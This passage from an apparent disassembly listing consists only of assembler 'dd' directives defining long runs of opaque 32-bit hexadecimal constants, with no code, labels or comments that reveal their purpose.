		dd 7E7BB7E2h, 493EDB87h, 83134E51h, 0FB8BB46Fh,	0F3FBA13Dh
		dd 32A0EA67h, 0F2EFAFC3h, 38C190AAh, 15B4AE8Fh,	5AC467D8h
		dd 0A6666C5Ah, 8E5A4CB2h, 1337D8B1h, 360F48BEh,	72F2FEB3h
		dd 608679FAh, 7769627Ch, 7F063634h, 3211A660h, 8F3BE02Eh
		dd 9EA05DBFh, 55DC3B70h, 4CC66D8Eh, 38712ADh, 1732471Fh
		dd 0B7AA9E22h, 34172D56h, 48601881h, 0E26EEA6Fh, 0C300C373h
		dd 0A341CD66h, 7CDB883Fh, 77270D3Eh, 0D972B07Ch, 8637686Ch
		dd 1E5EE0B7h, 61AC563Eh, 484F07FFh, 3C1EA7B7h, 0D40FB187h
		dd 1DFB7BC6h, 8627F03Ah, 489A258Bh, 0D00803h, 7A4DDCF6h
		dd 0E94EA9FDh, 70276D1Ch, 0A5F4A64Eh, 138BC834h, 9EB00CBAh
		dd 0DD65AC23h, 85D4CE55h, 617CB043h, 625428C6h,	0EF5E5995h
		dd 0D12806E4h, 59F54726h, 24B0943Dh, 0F921E8F8h, 13717CD3h
		dd 56F7381Eh, 7821DFF0h, 0AF87FA9Dh, 0A049DA89h, 0BCA5848Eh
		dd 90F8F62h, 0E49B36ACh, 71CBE063h, 0F3CE9109h,	65B822B4h
		dd 0C06E9E66h, 0CB76FF97h, 0EE242A31h, 0EDBD973Eh, 62B48F08h
		dd 1E8DFA20h, 0E330FF7Ch, 0A28AC363h, 0E94B61B9h, 74A570E8h
		dd 29539FF7h, 0EF4E5259h, 99EA321Ch, 89A31AAFh,	0CC5425EFh
		dd 8296EBD1h, 9B052CEAh, 472C2763h, 8B11C52Ch, 0EB10CE21h
		dd 331742F7h, 0D1887Bh,	0D187A1C2h, 167FF159h, 76C4B83Fh
		dd 0A1170B35h, 0D16A4FFDh, 7F2D30B2h, 0F33AD2D8h, 3B40603Fh
		dd 55E31116h, 5369CBF6h, 0FC6E8AE4h, 0CFA330CBh, 75303595h
		dd 10F1A36Dh, 0B66E67F3h, 874790B3h, 0B278D5E6h, 0BF52701h
		dd 37747541h, 3CAC0555h, 0E3D5D9B3h, 4497DD28h,	0C5795D95h
		dd 8853AD90h, 230D4C8Bh, 38127026h, 5D45FADCh, 7D953303h
		dd 55D60A65h, 0AD68F8EEh, 3BA29916h, 0F9437BC8h, 0C7E298C7h
		dd 811329ACh, 0B8C9A332h, 21D4CDECh, 73EBBF80h,	0F86C3AD7h
		dd 88D7C8BBh, 937E7058h, 80BCA1F6h, 0D9FD221Eh,	0F8CD8502h
		dd 73C8BFF0h, 0AAF7B913h, 8858AB2Eh, 0B34E614h,	0C0D836ABh
		dd 0A2AD5AD3h, 6405C2Dh, 90A71A4h, 8AAA2FC7h, 0E63C051Ch
		dd 39DEB147h, 0F615B51Bh, 0ADDC6F9h, 3E95FE96h,	0D23378BDh
		dd 2E95A71Dh, 0E54D0195h, 75F0F509h, 0B95784E5h, 4E59BB37h
		dd 8A430278h, 930309EBh, 65933289h, 1EA0CD97h, 740F55A0h
		dd 295EF817h, 6815D853h, 1569C605h, 2C92640Eh, 708E2780h
		dd 0FE2030E9h, 4F45E19Ah, 0E55C925Eh, 0AD438B6Eh, 0C91D27EEh
		dd 0EC49156Ch, 0A1086BB6h, 2E9BBCBDh, 44B93C24h, 3D43D124h
		dd 0BCC53C5Ch, 78B7C442h, 7DC222CDh, 9105C2FEh,	6965A81Dh
		dd 855FFCA8h, 1DB71B61h, 95900985h, 0DD697D13h,	0CBD45311h
		dd 6DEAFCF2h, 0B841EA48h, 0D2A79384h, 0B202EFFh, 604F4FD8h
		dd 0E3D94FFEh, 73CB4934h, 0A3EB0194h, 0D90081E0h, 1FC08FCBh
		dd 4C39A790h, 7F1657DEh, 0C9931FF4h, 0E5913988h, 0DAE2521Ah
		dd 0A0A60F3Fh, 9C2A70DBh, 0CA22F8A7h, 0C1EBB85Dh, 0E191FF41h
		dd 4F7488A0h, 0FFE868A0h, 0F37E075Ah, 13A1A717h, 0FE3FAEC4h
		dd 53695105h, 0A5ED9160h, 5040AC75h, 322FE392h,	0A75DDAFh
		dd 0CEF1893Ch, 0FDEE5BECh, 6217A948h, 362F3B33h, 0D3F1EF56h
		dd 8D23C7FCh, 0C4FF82D2h, 380DF751h, 0D46459B2h, 9C22E7D6h
		dd 66410C18h, 36E10760h, 1C64E4EAh, 0C2868CFCh,	7683CABDh
		dd 0E452F0FAh, 6EE7CDF8h, 0CC2D1914h, 7B6DEEB5h, 0A5651625h
		dd 7C0A4E55h, 0BD9B5C1Bh, 9A722FEAh, 4E01DFDFh,	0B48A8CA9h
		dd 2F546C28h, 908C2926h, 2025344Fh, 1916D57Bh, 93740415h
		dd 4AFA5A79h, 5B018DD3h, 0BD222D95h, 28D840D4h,	0A843323Fh
		dd 0E3BCE3BEh, 8FB88E40h, 1F742F0Bh, 0F62647EDh, 0CA602A06h
		dd 0FE575E2Eh, 9F18F2A9h, 17B2DF6Dh, 0F739F040h, 27B44C37h
		dd 15BD1AA9h, 71685C9Bh, 0E00B3A0Dh, 0B7068FA1h, 95C91B0Eh
		dd 3E631CC7h, 4E929EA1h, 0A12C716Eh, 0F90D87C8h, 0AF97796Dh
		dd 4119B1DEh, 0BF1F9DFAh, 21E1AEF4h, 1CC154A5h,	14D0ED17h
		dd 8EBE63DEh, 92769137h, 0FD285A5h, 22D01E47h, 0C994E58Ch
		dd 0A418737h, 0B908F34h, 0F6860387h, 0F7F10490h, 328AF39Bh
		dd 0C58CE5D8h, 52271334h, 0EB472BBCh, 344D97E5h, 1D649103h
		dd 0F8627DE2h, 5436BE16h, 4BF90A74h, 0F230D9C3h, 0CD585913h
		dd 0B316C005h, 0D84BCC48h, 9E7FAE74h, 66E30811h, 5CA6663Ch
		dd 2C77DF47h, 2C52813Dh, 6E817753h, 0A43D9C8Bh,	0B09876CBh
		dd 1907D16Fh, 0EF67B0EFh, 5802DBF8h, 4C6E300Ah,	61067068h
		dd 0E4D5BB47h, 18347DA0h, 73D056C3h, 0D2909E5Bh, 7345A39Dh
		dd 36B10CECh, 0D6822261h, 798F32D7h, 0ADDC60A6h, 39B24792h
		dd 55F2C86Dh, 0BA0661A9h, 85F8EA40h, 8F09A130h,	0DBD2B682h
		dd 1070BCE3h, 9437F656h, 0B43A08BBh, 338D033Fh,	2B1A316Fh
		dd 47973D9Ch, 3FA52909h, 146511A2h, 3C4FBD8Ch, 6E7D5FC4h
		dd 25D152EDh, 306DA081h, 3BF14C24h, 1974D5AAh, 8BBB88CAh
		dd 5443B36Ah, 89C0D5D5h, 0B8CAE249h, 49BC4D5Ch,	0C7D259E5h
		dd 739112B0h, 0B0D61EC9h, 0E9C2758Ah, 0A7AA4954h, 0EA412B72h
		dd 0CEBBFAFh, 0BE3293C1h, 5DD52788h, 314CDEBh, 7E04C8BFh
		dd 0E0171DFCh, 1EE24A81h, 0DBC85384h, 3D5DABA4h, 97E352Dh
		dd 0B502AF85h, 696B246Dh, 709CC035h, 62C02463h,	0F73A101Ch
		dd 0A37FB32Dh, 0FAB4126h, 922CF3C4h, 0B1E99534h, 27B3416Fh
		dd 4604665Ch, 4B927B0Ch, 1B12910Bh, 89373FF4h, 6563C8D0h
		dd 5EE62EA5h, 0EA554E15h, 37AA6A84h, 0E361FB3Eh, 9C952A1Dh
		dd 9C8984EFh, 7742DD34h, 2D0889C7h, 801D044Ch, 87A5CBAEh
		dd 5CF15D83h, 549609A9h, 2A9D94C4h, 2D29BA4Ah, 1AA58C59h
		dd 9C76E53Eh, 0C98F61B1h, 0D8F9EBF1h, 0D7B3F71Bh, 39721A07h
		dd 0D5A44EFh, 82FEC45Eh, 83E8DF9Eh, 3B55271Bh, 93A73F02h
		dd 0F28B48h, 0FC481998h, 0C6205DACh, 94BA0E57h,	78E6619Dh
		dd 40E76EB7h, 7941DABAh, 5CEDD3C4h, 0DCF3F905h,	0B2D05913h
		dd 0AFF8A270h, 59BC5037h, 63FE3253h, 238AF8C4h,	5B45028Dh
		dd 7B63CAA1h, 0F5F46265h, 0B1EA4A26h, 0B8625049h, 18B933EFh
		dd 4004E96Fh, 0C5B7BE52h, 4C8FDC76h, 4E4EDD98h,	1B7AE3C4h
		dd 0F1B6C731h, 847AE26Dh, 11D33912h, 68FF68B2h,	0E2D98F2Bh
		dd 0AB066647h, 0BC3D0F93h, 0EFBA8C23h, 87C62876h, 0B1D04EA9h
		dd 0DCD7797Ch, 0F01E17B8h, 9DB3A326h, 301333Ch,	0F144E9EEh
		dd 666D58A9h, 0EF4C657Ch
		dd 44261F46h, 0F3A7260Ah, 0DCF888B6h, 34BFB1E3h, 26380D43h
		dd 7EFB56C8h, 78A5B4A0h, 0CED75B38h, 0E60953E2h, 35193F98h
		dd 6AC6AD74h, 96638CC6h, 2AEFDAAEh, 0B57C1193h,	0F36525B6h
		dd 5610AC8Ah, 0AEBF6267h, 6DD2AED4h, 0A56065F3h, 6FFF4B3Ah
		dd 0C78E6E9h, 7C106F40h, 3302D619h, 488D9BB7h, 94845FB1h
		dd 7C8D428Fh, 3B4FF035h, 0F458A0BEh, 0EDF3A8CCh, 0AB77E9C3h
		dd 4F7CD1F9h, 55EEEFF5h, 153336A1h, 0C3854194h,	0C27D64DEh
		dd 0B3266F23h, 88A0BF97h, 0DF4145ECh, 1E331404h, 0BAEACDA7h
		dd 2E0737E2h, 1F0AC50Dh, 701F345h, 1B7BA463h, 0A61CFB9Ah
		dd 1579CAA2h, 9EF3109Ch, 21371562h, 67A77404h, 0EA7151Ch
		dd 0BEF99690h, 313A4AE9h, 0D19E68E0h, 0D430793Fh, 0FEE64EA7h
		dd 1BCF1581h, 0BC66E151h, 8A83FD84h, 629FF07Eh,	0E89ECF84h
		dd 4373E804h, 0B56627D3h, 67396606h, 50505ADBh,	55913C0Eh
		dd 0C20A246Eh, 359DA41Dh, 9548E835h, 84580170h,	0C8E17138h
		dd 6111BA40h, 61E5B0F4h, 9C25AE22h, 19C51BC7h, 0CD122346h
		dd 0E3955713h, 0E6C1900Ah, 5A6ABF59h, 45A35754h, 0B0044FF8h
		dd 42C638F1h, 0C5CA030h, 1DE9A225h, 51A83F7Ch, 4FB12627h
		dd 0DBD9D61Bh, 79421151h, 4353F919h, 19BEF7C1h,	0AD956E6Fh
		dd 7ADD82F4h, 3288FB93h, 0B7AABh, 42267ED5h, 59D7B31Dh
		dd 6EEAE14Fh, 96FF11F7h, 82D97120h, 4E36948h, 53B0C948h
		dd 59B1F1A3h, 0E7C79FA9h, 19A3486Dh, 1776FF1h, 0FD7A4FDAh
		dd 14B19474h, 0C683B88Bh, 0DF6DFBCBh, 0A5124942h, 6C0DC6C6h
		dd 6157BC5Dh, 658A83B9h, 4A1B1413h, 7F9616F2h, 0D9EB4104h
		dd 4C6A5A41h, 206A174Fh, 137ADB43h, 8AE93F36h, 5EDA6F0Dh
		dd 201A64D5h, 0C2AF0E98h, 0F6233EE4h, 0EED4CD1h, 4B24505Bh
		dd 0AB1DEFF8h, 0F9B997F0h, 66A372D7h, 6F036563h, 50B01535h
		dd 6AE1CE10h, 596E12E7h, 0F2D193C2h, 2A908A39h,	69E166A8h
		dd 0B10976F9h, 0FB14BEF2h, 269C8354h, 0B41C3005h, 0E973FF04h
		dd 0BDC31815h, 558B5C06h, 289D9782h, 0DCE70160h, 0DA1B0481h
		dd 0ECE24B62h, 0BC04E4A0h, 3AE5C7DAh, 0F2B1102Fh, 41CC6931h
		dd 4CC523A8h, 0C33ECD1Eh, 0A7FA8AAh, 0DD128B6Ch, 0F0AC52E5h
		dd 0AEBF2468h, 0DBC31E50h, 0AADABCEEh, 0D843130Bh, 37A2E4B8h
		dd 0B72E38D6h, 5C15BB18h, 0A6A51B62h, 53E39C3Ah, 0F4955ED1h
		dd 9592CFE4h, 0A048FC45h, 903A6C4h, 0DE03DE13h,	0EDCC0002h
		dd 0EAD63AC0h, 705D1A9Eh, 1AC2CB16h, 40413F76h,	0F79CB7A8h
		dd 45004EBEh, 4B08173h,	0D2856283h, 5EC327C9h, 0E2FEEFE7h
		dd 60ACEEC5h, 964A3B1h,	99BACACDh, 0FB976290h, 53FF1949h
		dd 1F4CCD34h, 0FE035A7Bh, 678CFE38h, 0F3190B78h, 0D7C3CBD8h
		dd 0AB0747CDh, 52ED273Ch, 29CD1668h, 0D32158CBh, 5D49B1C9h
		dd 3A1E61A1h, 0A2CD5194h, 0CD2F7F90h, 0C8A973E6h, 391E8FE5h
		dd 0C74F4369h, 9D06EE78h, 0F9B0049Dh, 73B8B26Eh, 0F5CB9EE0h
		dd 0C2D89621h, 5AEE9B92h, 2BCC9C45h, 1C554E2Ch,	3BB4790Dh
		dd 2E65870Ah, 16895462h, 4D0E2685h, 0D2B49291h,	581D0744h
		dd 0D8586970h, 3FA8A1D5h, 349266B4h, 0A045D769h, 0EFC3FEF8h
		dd 0A9220EBEh, 2A6F9F3Eh, 1DA60F3Ah, 1CCAA437h,	0AE1BA9Fh
		dd 0A52BC2EDh, 5242DEDAh, 2B9FFB70h, 20155663h,	0EE638049h
		dd 7423C1A5h, 17CEF2ECh, 6EBD176Bh, 0B28D9233h,	0CC74EC59h
		dd 2DFBE313h, 456ED644h, 3613593h, 8B49E8F2h, 98F41029h
		dd 288984Fh, 2DC02095h,	5AB51DBAh, 0AE8100A0h, 0A604AD35h
		dd 1883A2DEh, 65BB2FEBh, 6D5EA9Dh, 96B8238Eh, 0A177A3B9h
		dd 75D70015h, 0D5A3B884h, 0B3B2DAA9h, 52D8CD3Dh, 46F82ED0h
		dd 0F2687370h, 32887A72h, 5020382Eh, 93855C00h,	7FA4F102h
		dd 9DAA41BDh, 6E88FB04h, 3B6E0531h, 96D61F76h, 7ACA02BAh
		dd 67251FBBh, 0A6AC4D34h, 0ADC3A8C4h, 0CB36FFE2h, 0D645E226h
		dd 1D8E9F7Fh, 6930F93Eh, 0D5FCB459h, 9C6F651Ah,	0F9463BCFh
		dd 67AAFD14h, 0A75A06A5h, 6AF22461h, 2BB8CABCh,	0E33F4A82h
		dd 71C73A0Ch, 0D481C90Dh, 0C88D42ECh, 280B5925h, 9E7539A1h
		dd 0AE5D92BCh, 0D615880Dh, 934DEC03h, 4AD7BAAEh, 7D57D424h
		dd 8B5E2ED8h, 17FAC3DAh, 0CFBE8F84h, 4A013F06h,	65F0C6D1h
		dd 0C99BF51Fh, 0B1C8F9E4h, 0E41A74FCh, 93EE78BDh, 29DCDFBCh
		dd 0A1D7C507h, 1050AC20h, 94B535D1h, 67BD39CFh,	65F5EF57h
		dd 0D8EE65A5h, 30E42522h, 38DECFF0h, 76C27D55h,	0B6E98C6Bh
		dd 0ECA454Bh, 0DE61C353h, 9B4CF297h, 5589D356h,	0FD6CC89Ch
		dd 8831820Dh, 46696ADCh, 38A6470Fh, 5943C61Fh, 0D7A6F2B9h
		dd 0AFDF203Bh, 190AC849h, 61FD52D8h, 9EE8B5E9h,	1D0A7051h
		dd 93BC3D87h, 618550Ah,	0A880F2F3h, 42F50595h, 61EFFCC1h
		dd 0A0B9FACFh, 0E7B535BFh, 5BCA3326h, 9AC78CB2h, 130639BFh
		dd 41DCE96Ah, 1F2DDDEFh, 3F1AC774h, 72252D4Bh, 0F7512FB3h
		dd 6F5141B0h, 0B595B2D2h, 166C29F0h, 900F47C5h,	47F68B00h
		dd 0A6174E4Dh, 0D3D4520Eh, 0D49FE1C6h, 0BA1AB1FEh, 292D0C40h
		dd 0C64813AAh, 956A0779h, 0CC3DC7C0h, 0BB044AACh, 0DC13E0FEh
		dd 957764E8h, 0E7CA227h, 210C8CEDh, 97416196h, 8B3FBCF1h
		dd 34FE9903h, 0DFDBE30Fh, 2CD13DE5h, 3C75A603h,	577392ACh
		dd 6DD01AA0h, 0A14D6F98h, 43164E58h, 1822BDCh, 0ACCBE3B9h
		dd 5D95209Ch, 0F68EF7BDh, 84ACB56Eh, 660BDA04h,	0D7580930h
		dd 7B90A193h, 5781D8CFh, 0BB51DE03h, 675CF39Fh,	9DC06D8Bh
		dd 0E3217E16h, 7E9C04C3h, 31D18F27h, 0FE999942h, 34ACA8E6h
		dd 0DD13B52Eh, 9148F9C8h, 1C2472CCh, 0F35595B4h, 0C703C1B8h
		dd 64CF24FAh, 6AF537B9h, 0D1D6308Ch, 69496E16h,	0EAC271BCh
		dd 82EC439Ah, 54EA9FA3h, 0CD2623Fh, 73558147h, 43F80431h
		dd 38BF63B6h, 7DCD6A63h, 0EC654228h, 82AA0A06h,	0E83380D8h
		dd 19083EDh, 394A521Eh,	49B09460h, 0E7AC4D56h, 6BE8895Fh
		dd 0E7F1F7D7h, 7FFE1CE1h, 0A33D8BBEh, 0C92C440Ch, 0AD7511B5h
		dd 851937CBh, 351BB1EDh, 6F306766h, 0E94B5606h,	2120D21Fh
		dd 635C3A0h, 0CA040611h, 72C7E26Bh, 64742B32h, 42C75ECCh
		dd 0AEE05638h, 65D557FEh, 0BDE253A0h, 0D40C7CC1h, 0F534CEB6h
		dd 61A3B5DCh, 3B4F5B38h, 1F0DF2E3h, 24D3AE57h, 50E85FEFh
		dd 2787B14h, 0B971B511h, 16A0BF95h, 19E6228Fh, 0E0C84C15h
		dd 8898BD4Dh, 104270C2h, 0B343AF26h, 4D91EE96h,	0F66DDBE2h
		dd 0A2726EBFh, 2AEA1BAAh, 4E78DEC1h, 11C228B6h,	2CFB1192h
		dd 0DF389A28h, 571857D5h, 3902A1DAh, 0C741E3F0h, 4797ACB5h
		dd 0DD41231Dh, 88ED929Eh, 0D90C1BD6h, 0FA36C400h, 0BCB6C01Bh
		dd 37E82CC9h, 6D00C25Ch, 0A1F9C8FCh, 840692F5h,	44A1770Ah
		dd 897E3B07h, 24EE71BCh, 526F4982h, 0B86DF89h, 904F34C6h
		dd 0F26FDA5Ch, 0EFFF9295h, 0CD6929E8h, 9382626Bh, 0ED6B5046h
		dd 3349166Dh, 98FB8803h, 3A48A231h, 17523195h, 3EBC068Bh
		dd 8F311AD7h, 989BD6A1h, 2CE5F3D9h, 0C2156A06h,	0E55137F7h
		dd 96CFF2D9h, 42ACF6E5h, 0D0078A45h, 19E8A726h,	60B9A797h
		dd 0A9102434h, 8CD26DC8h, 8220B04h, 74FA3206h, 0A58FC5CAh
		dd 0FCAB6ECEh, 0A29C387h, 742D6D5Fh, 0F664BAAFh, 46840E94h
		dd 15EFD1D0h, 122F05E6h, 0A8BC3C38h, 0A73781E8h, 5993483Ch
		dd 831127FAh, 28A49DE1h, 8CEAF334h, 824CEFE0h, 0EEBEDD32h
		dd 15C56B8Bh, 0C73A516Fh
		dd 97A22CB2h, 0D9A50187h, 547C4B1h, 542F6B29h, 0E5AD8E29h
		dd 0BD54C7F0h, 0BBF8903Eh, 43D27C73h, 0E2CFAF9Fh, 0D681730Ah
		dd 7AE4B39Dh, 96D486B7h, 0A68EC49Eh, 291F0959h,	0C31B3F49h
		dd 5AF0455Dh, 98D83F04h, 7351FCA8h, 0F58B78F1h,	0FEA11452h
		dd 0DE0E69D4h, 2FC6C77h, 0AB55BD3Fh, 79F603CEh,	707D1E81h
		dd 0BB049E30h, 1D88C531h, 0A8AF69A9h, 0FAD04D5Dh, 7CF93CF5h
		dd 65171B07h, 6ED4E369h, 5B31BD02h, 79C1EEDCh, 0C05D5DECh
		dd 0EDBBD3D2h, 4FEBD58Fh, 71B25062h, 43EF00EBh,	3B8A83B9h
		dd 72F7C682h, 8DAE43AEh, 0A79F3EFAh, 5C77F02Ch,	0FC46123Eh
		dd 1AC82B43h, 447B2456h, 5A37BA63h, 3B6854BCh, 720B1EEBh
		dd 0E7CD9064h, 0F30FD908h, 5BBC5B9Bh, 37B1259h,	8FECA481h
		dd 0A7E45C1h, 0D2DFD3C1h, 5E4EE123h, 82DC5D9Dh,	61967C51h
		dd 0E83DF7B4h, 0AC0D70BFh, 9EE7F321h, 6AE3883Fh, 0CCB17A8h
		dd 774D2002h, 2E6218B2h, 26056C45h, 61B7E0D5h, 0DE825D1Ah
		dd 0D9456433h, 0D0BB1481h, 9551D44Fh, 0AED7EF69h, 0B2C2DC04h
		dd 0BCC64A5Fh, 0DD9B5824h, 2FDFAABCh, 6CD3BE33h, 9BAB8569h
		dd 9CF23EECh, 0D78FB79h, 0D3FA1A50h, 8AC318Ah, 433AF6F2h
		dd 0F0662FA9h, 0A0EF2903h, 7CAF5C67h, 835678C7h, 0BDEE24E3h
		dd 11DA5B89h, 745F839Fh, 5C4C31DCh, 48CC3718h, 0D10D80EFh
		dd 3535CB74h, 7822803Fh, 0ED0E88E5h, 0AEB32577h, 4E49976Ch
		dd 16ED3E86h, 2E62D473h, 716EEC98h, 5EF726DAh, 8AF76419h
		dd 9CB7DD6h, 2EB08566h,	89D7194Fh, 0CC8FB034h, 0D1B6222Fh
		dd 17E8038Ah, 0FF3994B4h, 286572BDh, 0F0857A53h, 0BE177EA5h
		dd 0B5EF9EAh, 0A10E2EEBh, 0D0ACD23Dh, 53B87397h, 5861659Ah
		dd 49B1135Dh, 36EA182Bh, 0E73A34AFh, 0C6C231DCh, 84CB9BD3h
		dd 0CAC268B9h, 1B7FCB83h, 75D1EED2h, 0B2E68E6h,	33F15A2h
		dd 61869E41h, 9918ECADh, 784C9E1Eh, 78D10CD3h, 72E46C05h
		dd 0F7CD5AABh, 0EED6655Fh, 7C014782h, 8DE7F7B5h, 0AB688748h
		dd 0B98D96Bh, 0CBA556D5h, 87A1A2D5h, 0A518E984h, 2BD0A20Bh
		dd 0B7D01DC6h, 0D4B1400Ah, 8503C5CAh, 37DC565Dh, 0D0BAA504h
		dd 5F095ACFh, 0F18E37E4h, 60FB9A83h, 9A8A2E45h,	0E024174Bh
		dd 0A986EA1h, 94F29862h, 0F0CA1814h, 0FEED0B5Ch, 110EA1Dh
		dd 0E7E24D51h, 411FF2EFh, 220D0FEDh, 92254E63h,	34AAF87Ah
		dd 72AD5086h, 0F0E006EFh, 2C86B9FCh, 0E963FCC5h, 0F01C422Dh
		dd 0C51B0474h, 8E4C7A7Fh, 0F30B96FAh, 0A2130E32h, 0D909C60Bh
		dd 4A1E8DEBh, 0CB831F3Dh, 3058D514h, 0FA2CFBA9h, 1B9C0C7Ah
		dd 4CC4D24Ch, 877E10E8h, 1A72FA22h, 370BECCDh, 662C308Bh
		dd 86168BC5h, 84F607CDh, 9234D8A0h, 8A8F9B89h, 4B4AC4Bh
		dd 0A749EC4h, 2BC9ED24h, 3E56B713h, 0B2822D86h,	16FA3E22h
		dd 5DD15581h, 0CAF4B66Bh, 0D53F6372h, 843558Ch,	56498366h
		dd 0AEE97039h, 0FB57F353h, 0A5896B8Ah, 0CEEC2964h, 81A09BD7h
		dd 0F7630076h, 0DABF3CB7h, 4FAF916Bh, 0E0C7380Ch, 70DF49Eh
		dd 0D0A9BE9Dh, 789D2044h, 29287255h, 0A88E6E09h, 840C6F9h
		dd 0BB04AE53h, 5FA6756Ch, 8374C0A3h, 0DA6B5FE5h, 640F238Ah
		dd 0A86BA54Ah, 0EC7B17F5h, 10B8816Dh, 0A5BDDF0Ah, 0EBF4AACBh
		dd 1C5DEB92h, 0C3257D5Fh, 25736206h, 22F05C0Ch,	3E67C788h
		dd 370157A2h, 1B436FEBh, 81F07347h, 3B9E9FB2h, 3E409C68h
		dd 395B20BFh, 20BE0982h, 156764C3h, 5A3208E7h, 4380403Ah
		dd 563C6031h, 9BAF5F18h, 0AC2EC9B9h, 75D32406h,	48C346D5h
		dd 0F31FE8A0h, 0E17708E8h, 36913DD1h, 256AE670h, 8F944D1Bh
		dd 0A75FD457h, 12B89C66h, 8C81B7FFh, 538DC574h,	3323857h
		dd 94A49F55h, 600EFE9Bh, 39D29A94h, 0DA8B722Bh,	853FB130h
		dd 2A41B8B5h, 0B450C393h, 2696121Bh, 9B96A230h,	9478E9Ch
		dd 8D3E2FE4h, 0EA2F404h, 7133269Bh, 0EF1FA7F0h,	0BBA9E11Dh
		dd 420ECB8Fh, 0BF7B53A5h, 0ED6ACA5Ch, 95700554h, 4B3E56C9h
		dd 846FAF10h, 0ACAAF444h, 64FAD5C5h, 1B2E3565h,	21C57E95h
		dd 79833304h, 7931EF90h, 0F0959914h, 0B3FCBC87h, 58BC8502h
		dd 0C9341EBDh, 1593AE20h, 290FA7Ch, 1EC9B0BDh, 0EAFB52A3h
		dd 2C0FF8C2h, 0BAC0149Ah, 0A693C565h, 0A6BA3B99h, 2A9A8697h
		dd 0ADC5CEE4h, 0D07F83B0h, 9D0350BAh, 0F04CEB56h, 92307BC1h
		dd 99E82BADh, 90A99821h, 1476F4C4h, 0B57C07E4h,	7EB8AEF9h
		dd 92164B5h, 0AA01DC65h, 0D8DD4172h, 9C7CEF3Ch,	4C7EBA29h
		dd 8D3A064Bh, 1C1DF1AEh, 7E4CADAEh, 820CD9BDh, 0BDF0A3D0h
		dd 76511D0Ah, 89E8487Ch, 0B0F9BBC2h, 90A84E0Fh,	0DB6CCF90h
		dd 58D7FCEFh, 8EE5FB65h, 5105451h, 0F48DB672h, 0C9C22384h
		dd 6513FFA4h, 6198566Fh, 1CFED1B5h, 42B0A16Eh, 0A6B79206h
		dd 9F0443B1h, 0F8E14011h, 0B86AFCEDh, 31C769A4h, 96D5BD83h
		dd 0CB80AD13h, 0DAA5016Ah, 4F57D402h, 0E0312353h, 5D7065D2h
		dd 5C87DDBFh, 4FB4DD0Fh, 1671A359h, 0AC0D619Fh,	998D572Dh
		dd 0CBA85610h, 0DA516014h, 9E0D7140h, 488EAFBCh, 0A66FE033h
		dd 522B0BE9h, 0A623338Bh, 0AC046EFAh, 6153C140h, 59DD9AE0h
		dd 0CA06C879h, 0D4592CB1h, 598190D8h, 68C7C5F8h, 5985B02Fh
		dd 1B06D5Ah, 0F8A1E0D1h, 1374D8F7h, 4BBEF0C7h, 2AA4B1A2h
		dd 0AC85D8A3h, 0B48DA9A5h, 0C35CB474h, 0D1A93AE8h, 70758400h
		dd 4F1C26D7h, 131C0685h, 8F8919D7h, 5CD20A2Fh, 9FD0E299h
		dd 0AAA53D28h, 2C8D2C7Ah, 0E2FEC218h, 0A0FAF254h, 37893C9Dh
		dd 0FE796C55h, 3FCE01F8h, 30B446C1h, 2D0366D8h,	42825EC3h
		dd 0F4489F90h, 33F4F7F7h, 72CBBC40h, 0E43F4890h, 7E886ACBh
		dd 0AB4F2B15h, 0A5D96D4Dh, 27EC732Ch, 4C33699Ah, 98D0E9F6h
		dd 0BCFF985Eh, 582B6836h, 0ADF55468h, 4342878Ch, 0D9B6F1D0h
		dd 350E3D24h, 223A6FECh, 954DDBE9h, 0BC6A2C45h,	37AE70CCh
		dd 0BE72BBF2h, 94D2D43Ah, 78035C17h, 0A1F4EE58h, 5AE7F27Bh
		dd 0DA05E789h, 0B06D6CD1h, 8C078F28h, 474E3F48h, 0E1DE53EAh
		dd 4CDE7A5Ah, 0AA6A50EAh, 0DDF0E4C5h, 519D7736h, 17D102B5h
		dd 5B029D46h, 0D6FDA7B7h, 0A6132F1Dh, 0D8EF7BE3h, 968CD3EBh
		dd 56509DF5h, 3665B456h, 3E6C9310h, 0E72DFF93h,	3893757Fh
		dd 19FB1DDh, 0C958C4BBh, 0B7B0111h, 0A6F08530h,	8A0469CDh
		dd 59322D8h, 6451D9B8h,	32B99F95h, 63B61D42h, 63D8D788h
		dd 1B91F41Dh, 0FCD8D431h, 0D095E3CDh, 0B1B29F6Dh, 0E8239AC9h
		dd 5DDFE82h, 272FCE7Ah,	0E886748Fh, 0DD80889Eh,	1EF5FA51h
		dd 6D203160h, 0EA404D02h, 39D40190h, 0D477619Fh, 0AD1B3B2h
		dd 7245CDEEh, 158CACF4h, 0DE69C7AEh, 0D1888891h, 54B6BC3Dh
		dd 0DD44365Ch, 47C4F1B3h, 0E4D009E3h, 2B341015h, 74241A83h
		dd 647C725Eh, 0ADF7C924h, 1281E3h, 7B31BB3h, 0C86A0779h
		dd 0A7DF91F5h, 4CF80401h, 94604BB0h, 2358D2Dh, 5F2658A0h
		dd 78054B99h, 9E1095E4h, 3B54A7A3h, 3F5214E7h, 0D434C5C6h
		dd 0E7996D42h, 0D6808181h, 0D5081A35h, 11D093F7h, 0F7582185h
		dd 49260CADh, 38B6134Ch, 0C9202A66h, 0E3C0719Ah, 0BBB719B2h
		dd 69A00F98h, 571558ABh, 0F7539238h, 3AC1B762h,	4AC13D60h
		dd 0B7C7823h, 0B53CD8B3h, 0CFB5BB7Ch, 0A18968F1h, 49DFCF1h
		dd 217253EAh, 453FDAEDh, 46251B55h, 56C4BABh, 69B74FB5h
		dd 387411CEh, 0D2E6651Eh, 0DC10E5B0h, 977BE552h, 0D6B35CEEh
		dd 0B6A8755Eh, 0F74A2263h
		dd 8D3B6088h, 82125643h, 0B86849D7h, 5C740696h,	0A497D09Fh
		dd 36CA002h, 8975E43Dh,	12B9B1EDh, 0C8A0AC64h, 700126Ch
		dd 39347228h, 0AD8D7BFCh, 5FCB39Fh, 9E1C9E53h, 6EBBC96h
		dd 0E899C9F5h, 99C96EC1h, 0F282CA5Dh, 6E223516h, 0B93BA7E0h
		dd 0CD5AB7A8h, 10F83C16h, 9454728h, 0DC7420A8h,	0D1627684h
		dd 4E054472h, 960452E7h, 1ED64B4Dh, 0A9BEF4A6h,	0A027A92Dh
		dd 0A68FC204h, 0A56B42BEh, 0CFCD7FC3h, 0C3026E35h, 0DC463EFh
		dd 0D89944F4h, 7F403225h, 168EF086h, 7CBF2AC6h,	0F25B9A3Dh
		dd 299866Ah, 3162B10Ah,	1E55530Dh, 0E2020023h, 85CC756Dh
		dd 774A6BF3h, 0BEC2DD70h, 0F14E476Eh, 0F337EDEBh, 0BB885B49h
